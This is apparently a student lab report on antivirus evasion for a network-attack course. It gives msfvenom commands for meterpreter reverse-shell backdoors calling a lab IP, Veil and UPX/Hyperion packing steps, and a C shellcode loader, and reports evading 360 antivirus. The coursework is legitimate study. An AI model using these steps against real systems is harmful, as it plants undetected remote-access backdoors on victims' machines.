- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

- 实验任务

  • 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)

  • 2 通过组合应用各种技术实现恶意代码免杀(1分)

    (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

  • 3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)

- 基础问题回答

(1)杀软是如何检测出恶意代码的?

一种检测是检测特征码,就是检测该代码是否含有恶意代码都含有的一段代码,只要包含这段代码就被认定是恶意代码;

还有一种是检测该代码执行时是否有异常的行为,比如打开异常端口、关闭防火墙等,若有这些异常行为,则认定为恶意代码。

(2)免杀是做什么?

免杀就是通过一些手段对恶意代码进行伪装,达到不被杀毒软件检测出来的目的。

(3)免杀的基本方法有哪些?

有msfvenom编码、使用veil-evasion等重写恶意代码、利用shellcode生成可执行文件、加壳等方法。

- 实验过程

- 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

- 使用msf编码器msfvenom生成后门程序

  • 实验二中生成过一个后门程序,hx_backdoor.exe,把它放到virscan网站中扫描;

28款杀软报出了病毒,因此不加处理的恶意代码能被绝大多数杀毒软件识别。

  • 使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.153.128 LPORT=5206 -f exe > met-encoded10.exe指令进行十次编码;

  • 将生成的后门程序使用virscan进行扫描;

多次编码对免杀并没有太大效果。因为虽然进行多次编码,但恶意代码的特征码仍存在,因此依旧能被绝大多数杀毒软件检测出来。

  • 使用msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.153.128 LPORT=5206 x> 20165206_backdoor_java.jar指令,生成jar类型的后门程序。

  • 使用msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.153.128 lport=5206 x> 20165206_backdoor.apk指令,生成Android后门程序,此时其为安装包。

- 使用veil-evasion生成后门程序

  • 我在安装veil时,卡在展开对象3,4个小时,换了其他安装方式依然不能解决,所以最终是拷的别人安装好veil的虚拟机。

  • 使用veil指令,启用veil;

  • 使用use evasion指令,进入veil-evasion;

  • 使用use c/meterpreter/rev_tcp.py指令,进入配置界面;

  • 使用set LHOST 192.168.153.133指令和set LPORT 5206指令,设置反弹连接IP和端口;

  • 输入generate指令,生成文件,再输入生成的playload的名字:playload5206;

  • 找到生成的playload5206.exe,并使用virscan进行扫描。

- 使用加壳工具生成后门程序

- 压缩壳
  • 输入upx playload5206.exe -o playload5206_upx.exe指令,给生成的后门程序加壳;

  • 将生成的playload5206_upx.exe使用virscan进行扫描。

- 加密壳
  • 进入目录/usr/share/windows-binaries/hyperion/中,输入wine hyperion.exe -v playload5206.exe playload5206_hyperion.exe指令,给生成的后门程序加壳;

  • 将生成的playload5206_hyperion.exe使用virscan进行扫描。

- 使用shellcode编程生成后门程序

  • 输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.153.133 LPORT=5206 -f c指令,生成一段shellcode;

  • 创建20165206.c文件,在其中输入:

unsigned char buf[] =
"粘贴之前用msf生成的buf" int main()
{
int (*func)() = (int(*)())buf;
func();
}
  • 输入i686-w64-mingw32-g++ shellcode5206.c -o shellcode5206.exe指令,编译运行;

  • 将生成的shellcode5206.exe使用virscan进行扫描。

- 通过组合应用各种技术实现恶意代码免杀(1分)

  • 使用MSF meterpreter生成shellcode,对生成的文件使用UPX加壳处理,尝试实现免杀。

  • Windows上的杀毒软件为:360安全卫士 版本11

  • 实现免杀的结果图:

  • 回连成功的结果图:

- 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

  • 对方电脑的杀毒软件为:360安全卫士 版本11

  • 免杀的结果图:

  • 回连成功的结果图:

- 实验过程中遇到的问题

  • 问题:在安装veil时,停留在此界面3个小时,仍未完成。上网查询也没找到原因和解决方案。后来询问同学,觉得问题可能出现kali的版本上,下载最新版本的或能解决问题。

- 开启杀软能绝对防止电脑中恶意代码吗?

通过这次实验,发现开启杀软并不能绝对防止电脑中恶意病毒。只是简单的通过制作shellcode、加壳等技术手段的综合,就可以达到免杀的目的。对于一些技术高的黑客,会使用一些更加复杂和高级的手段,逃过杀毒软件的查杀更是很容易的。

- 实践总结与体会

这次实验让我学习到了很多,初步了解了免杀后门程序以及它的制作,我也实现了制作免杀的后门程序。虽然这次实验相对而言并没有那么的复杂,但却是进一步学习免杀的基础,很有意义。同时,我也通过这次实验意识到,对于很多程序员而言,逃过杀毒软件的查杀植入后门并不是件难事,因此以后下载软件要尽量从正版源下载,减少被植入后门的几率。

2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  2. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  3. 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  5. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  6. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  8. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  9. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

随机推荐

  1. Luogu4495 [HAOI2018] 奇怪的背包 【扩展欧几里得算法】

    题目分析: 首先打个暴力求一下$10^9$以内因子最多的数的因子个数,发现只有$1344$个. 由于有$ax+by=k*(a,b)$和2017年noip的结论,所以我们可以发现对于任意多个数$a_1, ...

  2. CF271D 【Good Substrings】

    定义哈希函数 \(H(c)=\sum_{i = 1} ^ m c_i*b^{m-i}\) \(H(C,K+1)=H(C,K)*b+C_{K+1}\)(K个坏字母) 用long long #includ ...

  3. mybatis if test 判断字符串的坑

    今天调试一个非常简单的test判断字符串查询语句,怎么调试都是不好用,后来百度才发现,是我写的test标签写错了,我写成: <if test="record.current != nu ...

  4. 《STL源码剖析》----2.23 value_type()和__type_traits<>如何实现

    在2.13小节destory()第二版本接受两个迭代器找出元素类型,代码如下 其中value_type()判断出类型,__type_traits判断是否存在trivial destructor 在3. ...

  5. passat product list

    s end

  6. Vue学习笔记四:跑马灯效果

    目录 跑马灯原理 HTML 箭头函数 计时器 跑马灯效果 跑马灯原理 先讲讲跑马灯的原理,就是一行字,会滚动,思路是这样的,使用substring方法,一个获取字符串的第一个字,一个获取1后面所有的字 ...

  7. react native( rn) 中关于navigationOptions中headerRight 获取navigation的问题 rn

    使用以下代码获取navigation static navigationOptions = ({ navigation, navigationOptions }) => { const { pa ...

  8. Arduino常用的数据类型以及转换

    常用的数据类型有布尔类型.字符型.字节型.整型.无符号整型.长整型.无符号长整型.浮点型.双精度浮点型等 布尔类型bollean: 布尔值是一种逻辑值,其结果只能为真(true)或者假(false). ...

  9. Java虚拟机运行时内存区域简析

    figure:first-child { margin-top: -20px; } #write ol, #write ul { position: relative; } img { max-wid ...

  10. 错误: ‘shared_ptr’ in namespace ‘std’ does not name a type的解决方法。

    这是因为要使用C++11的标准编译,而catkin_make时无法识别出来. 修改方法是在CMakeLists.txt文件里面添加: set(CMAKE_CXX_FLAGS "${CMAKE ...